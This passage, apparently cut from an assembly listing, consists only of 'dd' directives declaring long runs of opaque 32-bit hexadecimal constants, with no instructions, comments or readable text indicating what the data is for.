0DC68087Dh, 42AA57DDh, 0D4155745h, 0C761D612h, 115CCC68h dd 59349D53h, 5A849E32h, 818116C0h, 1CA69640h, 0C511DD11h dd 0B11B0BFh, 70F4B6BDh, 143A82F5h, 8018BB84h, 46A05D6h dd 45A7CCA4h, 0AC9106A9h, 1CA7D0D6h, 14A0BD80h, 9527C30h dd 7E390209h, 99036A16h, 0A51DA828h, 13AAED72h, 7E8421B1h dd 7F114E15h, 0C49F8848h, 0C3E814EBh, 0F1FA60C9h, 20148078h dd 42169588h, 6DBB5029h, 0D07D29F9h, 6A28099Dh, 0C2D0590Ch dd 5FA70AFh, 6506C025h, 691812FBh, 908F4AF5h, 6430F2F8h dd 0BFE224F9h, 83E64B8Eh, 0A79E574Ah, 934D5725h, 59280C21h dd 0FB7AA7BCh, 2F354A92h, 0AF218FA8h, 4D3B93B4h, 0E9758418h dd 0E3E38C8Bh, 3B898421h, 197204CBh, 830151A8h, 88903C1h dd 0D3F7388Bh, 95A0830Bh, 6C728815h, 5D789C44h, 1E9815A9h dd 0BC200910h, 231F42F4h, 323DC490h, 28433C8Ch, 4108F77h dd 0EFF080C8h, 7847841Eh, 7464D088h, 0E386BB78h, 918D211Eh dd 1978E264h, 65101E5Ch, 0F358881Dh, 3C4C32BCh, 44233B43h dd 383226C4h, 1C0B213Ch, 0F6E13411h, 8D24081Bh, 30254424h dd 37066AF4h, 54331C68h, 4CD3A308h, 15526E98h, 1A96A13Eh dd 0C953FC08h, 6481C815h, 530A69F0h, 0E0081923h, 4ED459C9h dd 0C4098829h, 87B838C4h, 0A86203C4h, 0E0A0431Ch, 44946825h dd 108788C9h, 42E6F978h, 582904B8h, 0C1874C38h, 840680Dh dd 2C108734h, 68210EF8h, 0E7141020h, 10087C38h, 9DC8F868h dd 882462E8h, 0DC474860h, 111476B8h, 2129CC68h, 145221BCh dd 12E829B0h, 10A46821h, 348CE298h, 415E0F74h, 9D2D9F50h dd 560C7DC5h, 47AD569h, 0A3FC7565h, 0A2572770h, 0B45648DFh dd 0AE1E8FCAh, 1742326Dh, 700434C2h, 0AC3F5074h, 815B9016h dd 910E5C1Eh, 0D0D8433Fh, 0CD0FAD3Fh, 0FA23F43h, 2105AB42h dd 243F3A3Ch, 1E20A013h, 0F53F1C53h, 211F7F3Dh, 34215336h dd 150AC741h, 3448924Ah, 7592B75Eh, 76C7A848h, 7FAB9187h dd 0E929D094h, 29439C0Fh, 61CA877Fh, 0BC29197Ah, 0F46C940Fh dd 2943238Ah, 42CC05A2h, 67C7A021h, 0D236BB90h, 15169721h dd 82A21588h, 211E7C19h, 0E2749155h, 3A8D1B40h, 681F047Dh dd 5048C760h, 294E4471h, 45082289h, 0E22C1029h, 0B0F1F20h dd 0C887068h, 90788573h, 1415429Ah, 0F715C6F8h, 27E86458h dd 13849A75h, 1591BBA9h, 442AE02Bh, 0B4CC3245h, 231A4315h dd 3205C4C4h, 0DA213CB8h, 0E2B01114h, 1EA419C5h, 0A0919121h dd 94197CE2h, 9145211Eh, 1930E290h, 0D3101E88h, 0C4E39D13h dd 3C7C32BEh, 78239543h dd 743280C4h, 2334433Ch, 371FC470h, 4175D018h, 847817C6h dd 4CB83714h, 7605E72Fh, 504A0F28h, 645E758Fh, 506AD2C4h dd 969766CCh, 891C4AB0h, 68F5548Eh, 8F7D967h, 1015AD1Ch dd 0F114C8C4h, 8F100C8Ch, 0CC87710h, 84106FF0h, 5A880847h dd 36C5FC62h, 0F8232943h, 0F03214C4h, 11CEFD3Ch, 0B0211EECh dd 70E2E491h, 211EE019h, 0E2D4915Bh, 0F7081D0Ch, 78CC440Eh dd 230D42C2h, 37ADC4C8h, 0C10F1A8h, 0FB088FBCh, 78B0440Ch dd 0AC4786C9h, 0A064B488h, 47868678h, 6471889Ch, 0BED7994h dd 108F8C08h, 49E3DDD3h, 0A4CED9Ch, 0BD336E8Dh, 0B2EDD8BAh dd 0E93E9E64h, 399D402Eh, 1A75F85Dh, 5042C094h, 5A9114C5h dd 3F65F8C9h, 89B13320h, 0A503EB0Ah, 0BB77C315h, 9CC1D440h dd 5712C548h, 40C7665Ch, 0D26A51D8h, 8146A36Dh, 11109F78h dd 477424C4h, 7C03FF09h, 89AA88B4h, 299FF8CBh, 81ADBC8Bh dd 7D89FB3Bh, 1DD04128h, 103542EBh, 0A93CA6E2h, 90163C20h dd 5729CAB4h, 75555915h, 0EC841C42h, 0E89C444h, 4CF1801Dh dd 59CE8A14h, 4462D735h, 0B709619Eh, 10149137h, 0E43D4486h dd 0A3EC446h, 15B4E022h, 0D4232943h, 1109FDC2h, 867B1ECCh dd 9B211EF5h, 86E2B891h, 211EAC19h, 0E2A89137h, 1E981922h dd 8807D210h, 0DBDF190h, 1C213CDEh, 0E27C1106h, 1E701907h dd 9C04B810h, 32A3C463h, 7524345Ch, 44E47A55h, 4C743525h dd 1C305972h, 7ED27093h, 825F7AAAh, 10C45C88h, 56AA8435h dd 0D099EC7Eh, 7B5A40CCh, 2B42213Dh, 0C44153Ch, 0D2343032h dd 170DB7F0h, 3BA6C3FCh, 0F0829893h, 74C5C343h, 0C36ED215h dd 0AA76E834h, 12AF33B3h, 0F9F01490h, 0B343D80Ch, 878C9D60h dd 85368991h, 64182F10h, 329812FCh, 549C04F8h, 1492692Bh dd 0AC02E086h, 70399D34h, 94100F26h, 0D410A3F0h, 1A72C131h dd 0E8F09410h, 10F042A0h, 88E84B70h, 0A00CC347h, 895C19DAh dd 3A085D05h, 0A14BAC3h, 0E7D71521h, 0CA3AA2h, 0C1830845h dd 3619380Bh, 2832F675h, 558910E7h, 0B6A2520h, 8B8487D1h dd 45AEB8C8h, 0C7F799CEh, 0B5D0B717h, 7346AC20h, 8A3BD13Ch dd 0CC51337Eh, 94BB4CE6h, 20115578h, 6722A1Eh, 2DF8D08Dh dd 301D393Bh, 85C7FA17h, 641BC9CCh, 0B8143E2Ch, 0D140589h dd 1115BCFCh, 744174A1h, 27A0BE45h, 0F673788Dh, 57D84609h dd 52941C50h, 0C600AF0Ch, 751E3940h, 1A68EBE6h, 0C81A964Eh dd 0C158016Eh, 0D5FB06E1h, 8DCD331Fh, 13471FB4h, 8408B16Fh dd 0F0A50205h, 9B2C54CBh, 83C9955Eh, 0B58911FCh, 12AA9BFEh dd 0AC781598h, 0E18A2E75h, 5674C02Fh, 1BD807F6h, 0F2566C0h dd 0A6D60589h, 0F8852185h, 691A1A8h, 0BA601504h, 0A065E44Ch dd 0AF01F746h, 38C033D0h, 6A35409Dh, 957B0F30h, 8B294071h dd 254A1DF0h, 3B80C224h, 2F5D88F3h, 81224E7Eh, 0C1C61ED0h dd 0A11D4978h, 0FE051F58h, 1802F45h, 0EC4DBE0Fh, 7CCE133Bh dd 2E3655DEh, 3E38649Eh, 9D2D7D26h, 4E5C26B0h, 8452F7C8h dd 148E01Fh, 10D8B542h, 0DD2DCBDh, 0DA133E35h, 5B5043B4h dd 20C4CA91h, 1B742A14h, 3084C411h, 4E9EDBF8h, 8806E390h dd 1B30489Dh, 0B80952D0h, 40E4C344h, 820F3868h, 7176CC14h dd 1891A045h, 0B80C64BCh, 5125B432h, 0CCC428A9h, 0B212AC2h dd 0C0042C44h, 46A028F8h, 23A651F7h, 0F8C0C4B8h, 6212202Bh dd 25752DE4h, 0EE91B465h, 2F99F7D3h, 2717E7C2h, 1A534850h dd 33562E78h, 835926FCh, 0C90B123Eh, 641A6A87h, 16DC662Dh dd 30C25868h, 6A225E07h, 67DC055Ah, 680A157Eh, 8B841638h dd 5060B384h, 502718B2h, 8BDA71BFh, 0A3E2D2ACh, 14533F9Ch dd 0DC53C917h, 0AC8B65DCh, 51F0D4FBh, 84C83A4Bh, 57BC9256h dd 0A11237D3h, 2B55F978h, 0DF24AE7Fh, 0AEB3D496h, 68B89D1Eh dd 93A86C0Fh, 6BF9C05Eh, 8018AB68h, 798ED540h, 0AC218444h dd 1926DD2h, 22046843h, 0F405B289h, 0D4B4701Bh, 0D2A80885h dd 34219762h, 413A3ED6h, 92D54810h, 413A9B16h, 0C4C1C810h dd 84E2867Eh, 4EEFE893h, 9ED8BDDh, 0EBF00B49h, 7CA11205h dd 1112D90h, 4C93487h, 880427C8h, 21F3940Fh, 48269122h dd 49117413h, 3756C89Ch, 0EB8268C9h, 0C22C52Bh, 0FED627B6h dd 48F34E10h, 388F914Fh, 608D3BFBh, 39EF1C04h, 6E78A72Ch dd 0BC800CC8h, 5C1B2F05h, 17755929h, 9C88E6EFh, 0A6A7BB31h dd 480C1257h, 3E26C508h, 3CA5A41Dh, 71F858B0h, 0B311FC25h dd 24985444h, 405EC343h, 425F1949h, 0AAB44BBEh, 5906269Ah dd 0C18C508Eh, 3517691h, 2120200Ah, 0A442C93Ch, 0FAD618C5h dd 3EDA4043h, 5042FF47h, 0C3A61DC9h, 49A7C117h, 0A9E40CC9h dd 49458F22h, 61108C57h, 8022AAA3h, 0E7D89680h, 4CDA4282h dd 75C325A3h, 98621B51h, 406A02E6h, 9BB7094Eh, 0C6C94867h dd 235552D6h, 454AD8C6h, 4063EAF1h, 151828D9h, 48953BA9h dd 4B6514E5h, 9E7ECA1h, 66C25F05h, 8430A814h, 0E81D584Ah dd 425651A4h, 1E09B214h, 42E7DC21h, 4E19E614h, 690F41E1h dd 8C71D3Eh, 0D043E7F0h, 5C78B7FEh, 82C0D821h, 0B48B372Dh dd 8D8F331h, 0EB258656h, 21EF9907h, 90B7216Fh, 91882E57h dd 4364BBFCh, 75011AADh, 0F0A17633h, 0E1A84CB8h, 0D0FF2573h dd 68076B01h, 0EBA78EB4h, 788EA0Ch, 5C91051Fh, 63E32A4Bh dd 15FB5B71h, 32289985h, 0DA1D3821h, 0D38B0CD0h, 0F48854C5h dd 1A835EBFh, 23778917h, 0CA02EF7Dh, 3F3218BFh, 0CB0A6A2Eh dd 0ACB6115Bh, 2B2129BFh, 89910162h, 2F997EDBh, 8468CFC0h dd 3BA2BF53h, 0E558CD64h, 3A4F00B2h, 87E9D88Ch, 0F838C9D1h dd 95221D3Eh, 60322FC5h, 1D344FB2h, 0CF5F0110h, 20F983CEh dd 0BB946A15h, 4BB929FFh, 91E44A86h, 38899309h, 0FBBBE5CEh dd 5180471Fh, 0C73B04A2h, 88830973h, 5570FDD1h, 9D1310B7h dd 623D99D8h, 7979BF4Ch, 2E4D9754h, 0C6882497h, 3227486Ah dd 53C625B2h, 46DED335h, 152C8332h, 57C63B1h, 3CC4EE69h dd 0C1472AF4h, 3816AA48h, 0C4F298F4h, 4A330DF3h, 5DC81C64h dd 0DC09D8Ch, 561B0574h, 0B3BF2468h, 7FECD287h, 47F44676h dd 520821D0h, 0E4F4AA09h, 0BC982253h, 381E0D9Bh, 9EA3BBA1h dd 1DF4BC42h, 44F4CC08h, 724B3A3Bh, 6171BED2h, 2F89EFC8h dd 7C939CBEh, 0E4E985B4h, 0BA6C2D34h, 77B1957Bh, 0D93FA678h dd 68874ED1h, 9F09554Bh, 15D0098Fh, 0AB9C18BAh, 2BA72DEBh dd 822406B2h, 0A843A22Eh, 84F12F83h, 18BF7215h, 6C7D451Ah dd 6695D838h, 0A00F7E66h, 1288F4BBh, 4BEA689Dh, 0E21C346Fh dd 0CD56292Fh, 121A12FBh, 0DAD7B83Ah, 0C41F7B50h, 17E98A10h dd 0D78EE9E8h, 71E9E484h, 0F01CEAECh, 2DDC2EF3h, 0BE6C2468h dd 254354BDh, 0A1EA90DEh, 4B0CE9E4h, 0E8845E46h, 0F4103AEAh dd 0DC3584EAh, 3468092Fh, 0CAF476BEh, 0C04CF80Ch, 321C6824h dd 1C191071h, 0F34DA4D7h, 47A0ACC0h, 642C23F3h, 9315430h dd 76BE1868h, 0E0F7E5F0h, 40725921h, 892834C8h, 0DC8F06EBh dd 10025711h, 28A8BDF8h, 0F4248887h, 86F3A050h, 40B42510h dd 0EF424F1h, 21F43484h, 933C27DDh, 0BD43BCBCh, 0E8918016h dd 4E0A9BDFh, 0E204CB1Fh, 1F5C2020h, 6AB735FFh, 3152CE37h dd 0EB7F7868h, 8B3533BFh, 936F5427h, 223A7831h, 95BD6C80h dd 0EB0A33B4h, 125C680Fh, 6AED405Ah, 0FB9C1FEh, 4B446877h dd 287D7D16h, 5699191h dd 8CB2C849h, 1068780Ah, 0BCF87022h, 853F3187h, 0E15F29ADh dd 38119EAAh, 21165EF0h, 0DDA9D049h, 640E6487h, 2781F0BDh dd 13BCE868h, 6274ACD8h, 10E22418h, 0A490180Eh, 0CBF763E7h dd 7089EF47h, 143B19FAh, 60313B3Ch, 78106A17h, 5417B239h dd 39766D2Ch, 0DCEB857Fh, 2412A884h, 0A5CA7453h, 497C8265h dd 0A49BF812h, 118B1C76h, 7DF9E05Eh, 0FDCB534h, 0D3644E66h dd 844A8AD4h, 2F2ABC94h, 21111C19h, 0DC42FA74h, 1BCE18F9h dd 0FA74088Dh, 0FA842174h, 1DD8B50Bh, 0BC580880h, 4B331CE9h dd 66C13215h, 0CD51234Ah, 0E4238F49h, 249484A1h, 253CE52Dh dd 2B8F6628h, 47E9F684h, 447E894h, 0F1B6E68h, 0F690BDB1h dd 0B70FEFB8h, 19EA2DAAh, 2C42F13Eh, 0E96E57A2h, 0D4E7564Ch dd 1406A206h, 42883040h, 433D9CF6h, 40EF1C08h, 87F68878h dd 10F69842h, 4287D7AFh, 0FE3ABBECh, 1774F07Ah, 0AC764795h dd 0F5203E26h, 7ECFF494h, 50952CE3h, 6C94F4D4h, 3239555Ch dd 0DCD6122Bh, 0DFF5C57h, 1A601291h, 54EFE0B8h, 0FD41AB8h dd 4BD1840Fh, 228956DAh, 5421049Eh, 0F4D042F5h, 8DA36618h dd 74F55408h, 0BF56421h, 829D3A1Ah, 84FE7C15h, 84A7CF72h dd 98FB9B85h, 444886C7h, 1E2342A5h, 0AC96F574h, 0F906BE8h dd 0CEEF5B84h, 2C552336h, 3F7C8060h, 7D03F883h, 558B3A0Eh dd 0C1C86020h, 0E3807E1h, 348D111Ch, 0FF1F7464h, 24ECED13h dd 1E6288E8h, 82AD7195h, 18BAF087h, 16C8867Eh, 927752C4h dd 6E957772h, 0E2CAC33Ch, 327BA73Eh, 420DC7EDh, 822B8E2Fh dd 64EA7984h, 0F4E2B598h, 6805F25Bh, 6AA8BAC0h, 397D75F0h dd 745A10B5h, 6068160Fh, 4605BDEBh, 973A1790h, 58580C09h dd 0D4669F0Fh, 6DB51877h, 0CE172136h, 145DC8F3h, 0F6C7260h dd 0A31E85B6h, 1D112311h, 84281C94h, 7B14F1DCh, 997BBA2Dh dd 542C1448h, 7957900Dh, 0EA8A8D6Bh, 487BF1D8h, 894D1C89h dd 90B85581h, 4905C759h, 7B7D229Ch, 0BAEC84B7h, 11A960A8h dd 6B9D24AAh, 0D48A535Ah, 0A4EFD153h, 0BE968665h, 0EC18AE61h dd 1C2A8B37h, 80C4009h, 0C2735E8Ah, 13FDEB88h, 0EC10C170h dd 2C5FE636h, 0EB530839h, 47562525h, 0EAF8084Eh, 1C115712h dd 0EF28B512h, 0D3B95CE4h, 9C9F08A8h, 0EC142225h, 15AC36B0h dd 0D2483782h, 4043BB65h, 3AEC14C4h, 84EC2010h, 123A3617h dd 0FE29B9A4h, 0EC940653h, 0EC208468h, 90178149h, 91D5231Eh dd 397AE280h, 63231E78h, 42B77091h, 0C22B0B93h, 0B8F0391Ch dd 2158116Bh, 8E4FA896h, 5C392075h, 4E748035h, 9CF7E26Fh dd 1ABD5053h, 78A20E90h, 0B5066E30h, 23214065h, 3CA01CA1h dd 0B93C6813h, 0F978383Dh, 388740AAh, 751DA8ADh, 52848B4Ah dd 4EFF84AFh, 55A427BEh, 74503134h, 0AD496A3Bh, 1AFFF3B8h dd 0F1A7990h, 5B808A16h, 0B94F2468h, 6BB18AF2h, 206A522Fh dd 0B50C421Fh, 15FEFF36h, 8B80C91h, 0B710D087h, 85FFBF8Dh dd 35B8F862h, 77B8F088h, 0DBB00888h, 4656F8FFh, 36DCE2E4h dd 0F0CA2C4Bh, 28217416h, 3DA7D44Dh, 0CC081064h, 0B8C49155h dd 31908DB8h, 0D34126E2h, 672C2A76h, 0C4BCADACh, 21666CA4h dd 748B9C39h, 0BD11345Dh, 99079BC6h, 0F423FB9h, 10F9F703h dd 24E84886h, 9C511852h, 992450Bh, 0A4163C1Ch, 8823B96Eh dd 0BE838F49h, 987B86A0h, 0D5F6EFA7h, 3FA50494h, 28201A52h dd 0ECC832ECh, 95C58EDCh, 52F9FD90h, 85EAECBDh, 3B19D267h dd 75451A84h, 7B902327h, 47271AFDh, 84C8E367h, 50B1D76Fh dd 8338575Eh, 7A74C442h, 528AD29Bh, 7FA1DD0Eh, 5C590A24h dd 24C8984Fh, 0F3E25411h, 0FFAC1629h, 1FA6E4E5h, 18C4FC2Ah dd 6E62FB44h, 147B85DFh, 678A0F34h, 14AD71A4h, 0D0502305h dd 9F59E24Ah, 0E8F44748h, 8450A7FFh, 348CB846h, 0E752F440h dd 0C27EDF45h, 4D9348ECh, 1E0BE0C7h, 8DD3703Ch, 7C0F2451h dd 14BDB943h, 0F962A23Ah, 3AB44133h, 21F5D040h, 3088F540h dd 2 dup(3008FFB8h), 2847D6B8h, 0F7500C8Fh, 7023D558h dd 2F3E1416h, 0FCA16291h, 0F23B5BB7h, 577A1DE4h, 69B7FD04h dd 21261BD1h, 0AEB10E8Fh, 0D1116B92h, 47D0F840h, 5126F9B7h dd 3CB744F7h, 2C335A75h, 0EE9E2814h, 8DB7ACF0h, 0F3ED726Eh dd 0A39B1h, 172045C7h, 0C74D4A5Ch, 788370A7h, 753C01FCh dd 0F402DE0Dh, 0D4500776h, 2C8166AAh, 61D105Fh, 7CCD7DDDh dd 0DAD148B1h, 3F6236Bh, 0E6C86D4Fh, 0F5B74284h, 425106E0h dd 0B854119Bh, 183D86B1h, 0CAB74680h, 0DC62176Fh, 354736B8h dd 442E7C2Bh, 3CCC721Eh, 113CEB23h, 99D4E278h, 231E7417h dd 0D95BA783h, 17376CC5h, 92D02E1Ah, 6FB78C3Bh, 177B141Dh dd 0D02E60CAh, 568C3AB9h, 0A288175Ch, 3DE2F1EFh, 231E4839h dd 0E1409126h, 3C1839FAh, 0C8E3118Fh, 1CA2F134h, 8B118F30h dd 6C9794C4h, 2C568E5Bh, 0E544882Eh, 0C5176828h, 24233846h dd 1872AEC4h, 236B473Ch, 7254C414h, 0E2233C0Ch, 0E2081137h dd 78843BCBh, 0FC238E7Ch, 776564B6h, 716CBAC4h, 0F82B3646h dd 325A452Eh, 473CF017h, 0C4EC2325h, 3CE4720Eh, 11350723h dd 34F0E1E0h, 118FD818h, 0F1D0C893h, 8FCC1C7Ch, 0C8C80E11h dd 8C33F7F0h, 6988BC47h, 5278B8E4h, 0D6B0468Eh, 0E9F80412h dd 0D115AC8Ah, 6A02C2ECh, 0EB9C5720h, 42B68C21h, 0B7D40C45h dd 0DC2FA451h, 0F1432CAEh, 82F9C95Ah, 0BE1C7517h, 25B05E58h dd 0F12F63D1h, 8B06C2F7h, 5669667Eh, 0EDF01254h, 0E6D8F560h dd 0DFB64B5Ch, 0E7202DB9h, 0F128080Ah, 18D6A451h, 41432B61h dd 3BF128C4h, 6108F121h, 20567425h, 867E12D6h, 318C1A8Ah dd 2915361h, 0F2B5A589h, 0B7E3363h, 75D4E45Ch, 0EA45A1Eh dd 0B06F50EAh, 0E22121BFh, 8817B590h, 0C0E4F138h, 0D085C438h dd 0E287F13Ch, 1015B564h, 16BCF221h, 2386387Ah, 0BC4431ECh dd 9FC8213Bh, 28D0E111h, 0E1428DB5h, 1B211123h, 0A3B4EC10h dd 0B83CD4C0h, 0BC381BFBh, 7375B042h, 4C02486Ah, 3EB298F2h dd 0B4E451F6h, 0F2AD4B2Ah, 1A7A38B7h, 0F66D5DEBh, 0ADEAE6B7h dd 3842D3A1h, 0E1035B4h, 84DB02C8h, 0B343E02Ch, 0A0B1D4CFh dd 0B32E4B84h, 4417A3E6h, 3CC47234h, 0D92DF421h, 36F21DDDh dd 0CA29CAA2h, 74CB9877h, 0CC10C812h, 8815224Ah, 0F5979E8Dh dd 74899CB1h, 0C2510CA6h, 2230D649h, 204505F7h, 0EC500E74h dd 4F1EA6B1h, 80E6C208h, 7536579Ch, 6148723Bh, 6A08460Ah dd 50918B03h, 0C2B85B21h, 502DA87Eh, 0A75CD590h, 0A623CA5h dd 28BABC57h, 19470775h, 3046EB04h, 5820B34h, 28042EEBh dd 0EB06082Eh, 0B7233816h, 0DC271744h, 0E7D7C21h, 9B8D2AFDh dd 5022266Bh, 0CA402053h, 2544BC57h, 844C37BFh, 0FBB9F108h dd 0BEB6C13h, 1C66E3E7h, 7F2F5753h, 0BA6C69E5h, 20D8BEEEh dd 1043DB81h, 0A3B2FC10h, 2C2CD4DCh, 7B8B9746h, 8E784342h dd 296A4753h, 8CC94C12h, 0D220E95Ch, 9330ED25h, 0C41BDA11h dd 81EA0574h, 9804EBF3h, 82990245h, 0AE6695FCh, 8CA528FCh dd 142C8842h, 9CC8BC42h, 34EE9471h, 29F42B52h, 0DCCB421Ch dd 4A8A647Ah, 688A5F10h, 54E44670h, 3E4F2229h, 8482C64Ch dd 0A27B2A89h, 72441723h, 9205E252h, 0C8244058h, 5546B5BDh dd 8A294056h, 3C64402Ch, 17A61578h, 0CC843047h, 3C2C6229h dd 2423B547h, 38714DC4h, 36231BB9h, 0A12E1C95h, 181828B6h dd 9F1117ADh, 22C4A3DCh, 473C0C72h dd 0B8F0110Bh, 622784B7h, 532EB408h, 8F7017A3h, 0FCC41E11h dd 8E076CB1h, 6B84F447h, 3CF06226h, 0E8215447h, 0F3672D3Eh dd 25CC8931h, 2E8D9DECh, 0C817B514h, 1C78F1DCh, 61118FD8h dd 0EAF0D0C8h, 0CC478C24h, 0C4E4D388h, 2346C178h, 0AA118F7Ch dd 0BEF0B8C8h, 0B4478C22h, 0ACE4A788h, 21468B78h, 74C4A823h dd 0E83CA072h, 9C478C20h, 94E4A988h, 1F430378h, 181EECB1h dd 0C73E8F8Ch, 2BC48823h, 233C7C72h, 78111D05h, 181CEEE1h dd 60118F70h, 49F16CC8h, 88F601Ch, 58C41B35h, 548A1E78h dd 0DBE3522Bh, 0AABA252Ch, 296850C5h, 681A4D0Dh, 0F6D8CAC8h dd 44568C19h, 18E6842Eh, 17B43862h, 2C23CF47h, 2072B8C4h dd 97CDE836h, 801E0A7Bh, 86F39D60h, 0CFC7D093h, 99A2CE04h dd 80211047h, 4B70890h, 4B74EFCFh, 0EFFC74FAh, 75918E5Dh dd 0B7378834h, 501303F6h, 7684BD89h, 7CB53421h, 3202E6C3h dd 2980483Ch, 7C21F7C6h, 525A88CDh, 87CF80D0h, 10CF8C42h dd 6595D6B3h, 0B0E0E2CDh, 9C372D18h, 0B1B14FECh, 0D01816D5h dd 0BE1117ADh, 0A7DBC8C8h, 581238B9h, 0D8088FC9h, 0CA58F0C9h dd 0CAD8088Fh, 12489454h, 5C123130h, 0AB2B54CBh, 0D3C90437h dd 0D9BB550h, 6BAD5417h, 0D3B0F2C2h, 0FA10E42Fh, 42584A38h dd 0C95484CBh, 1A41B231h, 0E8CB5810h, 2DCB4264h, 9D51D8D6h dd 5C624AE5h, 876118B0h, 0C6BE8499h, 8A1411DDh, 0A9D11748h dd 88F401Ch, 47761354h, 0C234233Dh, 30311229h, 9112231Eh dd 0DC08E328h, 233C2462h, 181110F1h, 679CDDE3h, 1CC6F128h dd 0BF088F04h, 0E211CE0Eh, 448B20A8h, 0A7B18035h, 77111810h dd 0AFF484B6h, 0D477C6Ch, 65881746h, 1721E8E4h, 0C40F2D61h dd 68740873h, 17A65C2Eh, 0FC84D847h, 3CD46206h, 0D023E547h dd 0C872CEC4h, 5A9233Ch, 92E2C411h, 111EB839h, 0B0880451h dd 0AC1C3AF1h, 0C823118Fh, 3575D0A4h, 0A5195763h, 61BBE42Ch dd 0A78468CDh, 65FBF33Dh, 5FE7FC2Bh, 7F49AFCEh, 8AAB3010h dd 1DD05F78h, 74568C02h, 0E4068817h, 97D16D6Ch, 10A80CEAh dd 7DE7B969h, 8820ADB9h, 1659B111h, 36138608h, 8CBC7420h dd 1F18641Ah, 2D7E29BAh, 9A996FC4h, 0B4C7277Eh, 0C83038BFh dd 689FAD1Fh, 57BDCFBFh, 0B0936BD0h, 778A5898h, 8B278A46h dd 6D8C76F8h, 66F0ECF3h, 0E485C70Dh, 0AC0742FCh, 0F60C47B3h dd 70C2950Ah, 3D5BC568h, 3E15F39Dh, 3439E6B4h, 289A7464h dd 15A7BA0Eh, 6812A990h, 1C433C20h, 61598D55h, 0DDA73B16h dd 9554BF38h, 0BB55CA53h, 3A2B4DFBh, 0F097DF5h, 9FE4F33Ah dd 3B88C5FBh, 2D23BA24h, 8ECF3CEh, 688170F4h, 65B5AEFCh dd 6856E9B8h, 5BE2B0F6h, 84BDA62Ch, 24EEC68Bh, 0AE38CC24h dd 17748A87h, 0A5EC1113h, 5A8C104h, 9E958114h, 0BE4AB355h dd 9F57BC40h, 0FA62A6E5h, 853022DCh, 57C9115Dh, 0ECA8E489h dd 0FB611CFDh, 0E08B2BF6h, 38D14A76h, 0A0E81858h, 0B35D8674h dd 21740A91h, 6CE0C517h, 68120A9Eh, 2FB2AEB4h, 0D77C1889h dd 10D076EBh, 8E0F0FEDh, 0E475F515h, 288DE1ACh, 35B51421h dd 32E0B313h, 2CAC6BB1h, 49B71042h, 6514123Fh, 6A19BEC7h dd 0BA14B434h, 2D247822h, 51BAFE83h, 0F8253051h, 0EDB4213Dh dd 2028B815h, 13BC6FF8h, 0A59BACAAh, 0A46A34F8h, 815A2A0Fh dd 0AE7068CAh, 8B3E9B3Ah, 70DC7C14h, 885EDA8h, 0C161EC24h dd 690F4149h, 0E242453Eh, 0AB10EDC0h, 38428713h, 0EE655CAEh dd 46337D13h, 710431BDh, 0C41D39ADh, 207E5ED6h, 0C8880103h dd 85A17F6Ah, 0AB733B08h, 66136204h, 0B6CEEF70h, 43D0AF23h dd 3143F085h, 4218200Eh, 3E4290F4h, 0BEE2DEF8h, 0E2EEF0C4h dd 180CC869h, 0EEEC3C24h, 48D057ACh, 0DD7A9A2Ah, 0F07D7A9Ch dd 85ADB888h, 0B8291644h, 0BBE25E85h, 31EEEC84h, 701A3E10h dd 310C6487h, 9F0E1284h, 2728AD92h, 8E0170FFh, 84BAF2F7h dd 2A12C475h, 0BBFDAA71h, 16FF2236h, 0B8AD2C68h, 0AD5AAA17h dd 0C273DA5Fh, 280A187Eh, 10118503h, 0F445CBDDh, 3844F390h dd 73FD074Fh, 97D40C9h, 13A31491h, 21287D8Bh, 0CC1C45DEh dd 7E27245Dh, 44377C77h, 7AC3A420h, 0E7B4F14Fh, 348FF1F8h dd 44DA7428h, 0E4FFDB61h, 6DE8B24h, 0DA7C52B0h, 0F3585AEBh dd 0E7AC2DEBh, 8626272h, 0E3712805h, 0CA7BACC0h, 0D0BBF456h dd 1A68570h, 8CCAB1B7h, 0A6EB699Fh, 0F398E22Ch, 13E69439h dd 237CF887h, 8445F380h, 0EB8B0E62h, 18C02752h, 0BF88BCC9h dd 0D30F2729h, 8C1E32D1h, 0A0FAFC29h, 45F7B408h, 0D1B5A6F2h dd 0B2104FFEh, 0B4849671h, 64431E50h, 2C52840Ch, 11FB804Ch dd 880AAC44h, 0F3907817h, 0F27C0885h, 343F9C62h, 50F83ED6h dd 0F3439CBCh, 0FAC0CE1h, 64B23F8Fh, 621C343Dh, 576456CAh dd 1B6CA5Fh, 0C065545Ah, 337FF43h, 3DAB4E10h, 0D0AC03F6h dd 3664A911h, 0D0AF9C24h, 49E9AB42h, 50A43E56h, 31AD5A61h dd 1AABC816h, 24192074h, 6A046A24h, 79AF5C42h, 41A1F14h dd 0EEABA868h, 2F20A82Fh, 414CE595h, 0E699096Ah, 0E2203B5Dh dd 0F40C9463h, 0B2E74AB9h, 48C6200h, 0AD5205AFh, 29D12078h dd 68B29868h, 71946411h, 0AA54A2AEh, 802CBFF4h, 5681ACB8h dd 68B13028h, 0B7244C70h, 2C1EE665h, 20C798AEh, 0B1C440A4h dd 615CB308h, 14A1AB68h, 0BC4D5312h, 256F2F60h, 40C049DDh dd 57E790F7h, 0DE9B756h, 0BB0513ABh, 3A0F4B08h, 2CCF922Fh dd 35517C42h, 0C0761AFAh, 211B648h, 0AC429547h, 0D9EBBC04h dd 20E3DC57h, 63C9081h, 0A8E2FF48h, 0B5660EB2h, 612E0559h dd 6A097323h, 0B4958E9h, 13593CE4h, 0A76C13Bh, 250D8DEFh dd 246D63Ah, 98610B9Ah, 0C70A7629h, 13030854h, 0D5AC8D83h dd 64DF29FEh, 444F7417h, 0C4031ACh, 570EC18Bh, 7FD8C083h dd 103FC48Eh, 0CD4026E5h, 4175DE1Ah, 867FDF73h, 0C86419C8h dd 0EC57ACA6h, 0FC90E3C8h, 75060024h, 0AAD4680Ah, 7C6E39B7h dd 0E02A4735h, 74070806h, 233F8030h, 57E02B54h, 0CB6AFF7Ch dd 78527871h, 5AB927EFh, 0B0CBB548h, 0BCAE0864h, 64657758h dd 908866B5h, 210C859h, 5EE31244h, 29A0BB64h, 302B927Fh dd 84F5F24h, 0F0BD8F10h, 888F57B8h, 0DD4EFD0Ch, 2C93E8A1h dd 68107A13h, 0EFBF5474h, 28F89436h, 2120B8A1h, 0FF9DEF6Bh dd 437C356Ch, 5CFA2FBh, 0FAD334C7h, 8C246356h, 47F80C17h dd 0FBA397A5h, 0E6B4FBB9h, 0B81A037Bh, 7CC7D13h, 0D9FB8C2Fh dd 8FA5499Ch, 0EA27BA88h, 7EAC1384h, 0B6FC5F78h, 722B8CECh dd 0A088AB08h, 1F233880h, 0CE500375h, 0F296BEDFh, 88C8E0BDh dd 0A30C489Dh, 